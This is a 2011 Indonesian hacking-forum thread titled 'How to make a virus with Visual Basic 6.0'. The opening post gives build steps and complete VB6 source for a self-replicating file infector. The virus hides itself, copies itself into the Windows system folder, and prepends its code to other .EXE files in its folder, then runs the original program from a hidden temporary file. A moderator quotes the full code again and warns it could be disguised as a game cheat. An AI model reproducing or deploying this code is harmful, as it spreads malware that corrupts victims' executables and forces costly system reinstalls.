Indonesian SWF Editor Community
 
HomeRegisterLog in
SELAMAT Datang Di Cmonhackns ===> Mulailah dari yang kecil... karena semua yang besar dulunya juga kecil..

Share | 
 

 Cara membuat Virus Pake Visual BAsic 6.0

View previous topic View next topic Go down 
AuthorMessage
agai132
Bupati
Bupati
avatar

Jumlah posting : 609
Join date : 2011-01-27
Age : 102
Lokasi : Depadn Monitor

PostSubject: Cara membuat Virus Pake Visual BAsic 6.0   Sun Jun 19, 2011 8:32 pm

1.Buka MS visual basic 6.0
2.Pilih standard EXE
Gambar :http://2.bp.blogspot.com/-haNM6PI5MBE/Td4pG2fZaEI/AAAAAAAAADM/W5Dmm_kbEL4/s320/aadasfdsa.JPG
3.Lalu klik View Code yang ada digambar ^atas ^ .
4.lalu masukkan code Ini:'------------------------------------------------------
' M4R : Model 1
' Virus file sederhana
'-----------------------------------------------------

Option Explicit

Private victim As String
Private myarray As String
Private varray As String
Private Length As Long
Dim chck As String * 1
Const Size As Long = 32768
Private iResult As Long
Private hProg As Long
Private idProg As Long
Private iExit As Long
Const STILL_ACTIVE As Long = &H103
Const PROCESS_ALL_ACCESS As Long = &H1F0FFF

Private Declare Function OpenProcess Lib "kernel32" _
(ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, _
ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" _
(ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" _
(ByVal hObject As Long) As Long


Private Sub form_load()
Me.Visible = False
App.TaskVisible = False
On Error Resume Next
Call main
End Sub


Sub main()
On Error Resume Next

Dim i As Long
Dim Free
Free = FreeFile
Dim target
Dim fso, sysfolder, winfolder


Set fso = CreateObject("scripting.filesystemobject")
Set sysfolder = fso.GetSpecialFolder(1)
Set winfolder = fso.GetSpecialFolder(0)

FileCopy App.Path & "\" & App.EXEName & ".exe", sysfolder & "\" & "wbdbass.nl"

Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free
myarray = Space$(Size)
Get #1, 1, myarray
Close #Free

ChDrive App.Path
ChDir App.Path

victim = Dir(App.Path & "\" & "*.EXE")

While victim <> ""
If LCase(App.Path & "\" & App.EXEName & ".exe") _
<> LCase(App.Path & "\" & victim) Then

Open victim For Binary Access Read As #Free
varray = Space$(LOF(Free))
Get #1, 1, varray
Close #Free


Open victim For Binary Access Read As #Free
Debug.Print varray
Seek #1, LOF(Free)
chck = Space$(1)
Debug.Print varray
Get #1, , chck
Close #Free

If LCase(chck) <> "." Then


Open victim For Binary Access Write As #Free
Put #Free, 1, myarray
Put #Free, Size, varray
Put #Free, LOF(Free) + 1, "."
Close #Free

End If

Else
End If

victim = Dir()

Wend


Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free
Length = (LOF(Free) - Size)

If Length > 0 Then

myarray = Space(Length)
Get #Free, Size, myarray
Close #Free

Open App.Path & "\" & App.EXEName & ".dll" For Binary Access Write As #Free
Put #Free, , myarray
Close #Free

SetAttr App.Path & "\" & App.EXEName & ".dll", vbHidden + vbSystem

idProg = Shell(App.Path & "\" & App.EXEName & ".dll", vbNormalFocus)

hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)

GetExitCodeProcess hProg, iExit

Do While iExit = STILL_ACTIVE
DoEvents
GetExitCodeProcess hProg, iExit
Loop
On Error Resume Next
SetAttr App.Path & "\" & App.EXEName & ".dll", vbNormal
Kill App.Path & "\" & App.EXEName & ".dll"

Else
Close #Free
End If

End
End Sub
5.setelah itu klik file -> MakeProject.Exe-> taruh difile yang tidak ada data lainnya misalnya di newfolder yang kosong agar kalau dijalankan tidak menyebar cepat.
nah Itu lah cara membuat virus sederhana mohon jangan digunakan untuk kejahatan,saya membuat ini 6.agar anda mengetahui bagaimana struktur virus yang sebenarnya.(^_^).ingat jangan digunakan untuk keusilan karena belum ada antivirnya
Back to top Go down
Crusher
Moderator
Moderator
avatar

Jumlah posting : 1158
Join date : 2011-04-26
Age : 104
Lokasi : Di Naruto.Lagi perang

PostSubject: Re: Cara membuat Virus Pake Visual BAsic 6.0   Sun Jun 19, 2011 8:46 pm

agai132 wrote:
1.Buka MS visual basic 6.0
2.Pilih standard EXE
Gambar :http://2.bp.blogspot.com/-haNM6PI5MBE/Td4pG2fZaEI/AAAAAAAAADM/W5Dmm_kbEL4/s320/aadasfdsa.JPG
3.Lalu klik View Code yang ada digambar ^atas ^ .
4.lalu masukkan code Ini:'------------------------------------------------------
' M4R : Model 1
' Virus file sederhana
'-----------------------------------------------------

Option Explicit

Private victim As String
Private myarray As String
Private varray As String
Private Length As Long
Dim chck As String * 1
Const Size As Long = 32768
Private iResult As Long
Private hProg As Long
Private idProg As Long
Private iExit As Long
Const STILL_ACTIVE As Long = &H103
Const PROCESS_ALL_ACCESS As Long = &H1F0FFF

Private Declare Function OpenProcess Lib "kernel32" _
(ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, _
ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" _
(ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" _
(ByVal hObject As Long) As Long


Private Sub form_load()
Me.Visible = False
App.TaskVisible = False
On Error Resume Next
Call main
End Sub


Sub main()
On Error Resume Next

Dim i As Long
Dim Free
Free = FreeFile
Dim target
Dim fso, sysfolder, winfolder


Set fso = CreateObject("scripting.filesystemobject")
Set sysfolder = fso.GetSpecialFolder(1)
Set winfolder = fso.GetSpecialFolder(0)

FileCopy App.Path & "\" & App.EXEName & ".exe", sysfolder & "\" & "wbdbass.nl"

Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free
myarray = Space$(Size)
Get #1, 1, myarray
Close #Free

ChDrive App.Path
ChDir App.Path

victim = Dir(App.Path & "\" & "*.EXE")

While victim <> ""
If LCase(App.Path & "\" & App.EXEName & ".exe") _
<> LCase(App.Path & "\" & victim) Then

Open victim For Binary Access Read As #Free
varray = Space$(LOF(Free))
Get #1, 1, varray
Close #Free


Open victim For Binary Access Read As #Free
Debug.Print varray
Seek #1, LOF(Free)
chck = Space$(1)
Debug.Print varray
Get #1, , chck
Close #Free

If LCase(chck) <> "." Then


Open victim For Binary Access Write As #Free
Put #Free, 1, myarray
Put #Free, Size, varray
Put #Free, LOF(Free) + 1, "."
Close #Free

End If

Else
End If

victim = Dir()

Wend


Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free
Length = (LOF(Free) - Size)

If Length > 0 Then

myarray = Space(Length)
Get #Free, Size, myarray
Close #Free

Open App.Path & "\" & App.EXEName & ".dll" For Binary Access Write As #Free
Put #Free, , myarray
Close #Free

SetAttr App.Path & "\" & App.EXEName & ".dll", vbHidden + vbSystem

idProg = Shell(App.Path & "\" & App.EXEName & ".dll", vbNormalFocus)

hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)

GetExitCodeProcess hProg, iExit

Do While iExit = STILL_ACTIVE
DoEvents
GetExitCodeProcess hProg, iExit
Loop
On Error Resume Next
SetAttr App.Path & "\" & App.EXEName & ".dll", vbNormal
Kill App.Path & "\" & App.EXEName & ".dll"

Else
Close #Free
End If

End
End Sub
5.setelah itu klik file -> MakeProject.Exe-> taruh difile yang tidak ada data lainnya misalnya di newfolder yang kosong agar kalau dijalankan tidak menyebar cepat.
nah Itu lah cara membuat virus sederhana mohon jangan digunakan untuk kejahatan,saya membuat ini 6.agar anda mengetahui bagaimana struktur virus yang sebenarnya.(^_^).ingat jangan digunakan untuk keusilan karena belum ada antivirnya
ih parah bgt..tar kalo ada yg jahil pake link download cheat misalnya pas di buka eh..virus..mending close aja threadnya bahaya om..tar orang cape format ulang+install ulang

_________________
Gw tahu lo maho [You must be registered and logged in to see this image.]

yang sabar ya gan [You must be registered and logged in to see this image.]

jika belum sembuh silahkan Hubungi Operator Axis [You must be registered and logged in to see this image.]

Iklan ini di persembahkan oleh :

[You must be registered and logged in to see this image.]
Back to top Go down
agai132
Bupati
Bupati
avatar

Jumlah posting : 609
Join date : 2011-01-27
Age : 102
Lokasi : Depadn Monitor

PostSubject: Kan Ini Cuma Kiding   Sun Jun 19, 2011 9:00 pm

Kan Ini Cuma Kiding

_________________
Read This Before Posting


[You must be registered and logged in to see this image.]


[center]cheat PB Terupdate

Cara buat PP kayak saya klik ini sini sini sini [You must be registered and logged in to see this image.]

Follow My blog For Updates Cheat , , , Klik Here


Joki NS terpercaya
Back to top Go down
Crusher
Moderator
Moderator
avatar

Jumlah posting : 1158
Join date : 2011-04-26
Age : 104
Lokasi : Di Naruto.Lagi perang

PostSubject: Re: Cara membuat Virus Pake Visual BAsic 6.0   Sun Jun 19, 2011 9:03 pm

agai132 wrote:
Kan Ini Cuma Kiding
ow sorry salah paham gan....sekali lagi maaf

_________________
Gw tahu lo maho [You must be registered and logged in to see this image.]

yang sabar ya gan [You must be registered and logged in to see this image.]

jika belum sembuh silahkan Hubungi Operator Axis [You must be registered and logged in to see this image.]

Iklan ini di persembahkan oleh :

[You must be registered and logged in to see this image.]
Back to top Go down
Ilham_A7X
Warga Lama
Warga Lama
avatar

Jumlah posting : 233
Join date : 2011-05-02
Age : 20
Lokasi : di depan Computer

PostSubject: Re: Cara membuat Virus Pake Visual BAsic 6.0   Mon Jun 20, 2011 6:40 am

gan kalo mau gambarnya keluar gunakan ini [img][/img]
contohnya [You must be registered and logged in to see this image.]
maka akan keluar gambarnya jadi ini [You must be registered and logged in to see this image.]
Back to top Go down
sar-rahman
Warga Lama
Warga Lama
avatar

Jumlah posting : 135
Join date : 2011-01-09
Age : 20
Lokasi : Di Bumi Ciptaan Allah

PostSubject: Re: Cara membuat Virus Pake Visual BAsic 6.0   Tue Jun 21, 2011 7:55 am

gan type virusnya apa?terus kerusakan yng ditimbulkan juga apa?
maaf kalau banyak tanya soalnya ane
Back to top Go down
http://www.yahoo.com/
Sponsored content




PostSubject: Re: Cara membuat Virus Pake Visual BAsic 6.0   

Back to top Go down
 
Cara membuat Virus Pake Visual BAsic 6.0
View previous topic View next topic Back to top 
Page 1 of 1
 Similar topics
-
» Visual Basic Chess
» HashTable Calculate
» Kotak ikan utk SYM VTS 200
» example of Basic turbo C program in PLC Programming
» BASIC TWO CHANNEL RF TRANSMISSION (27MHz)

Permissions in this forum:You cannot reply to topics in this forum
cmonhackns.n-stars.org :: Computer Freakz :: All About Virus-
Jump to: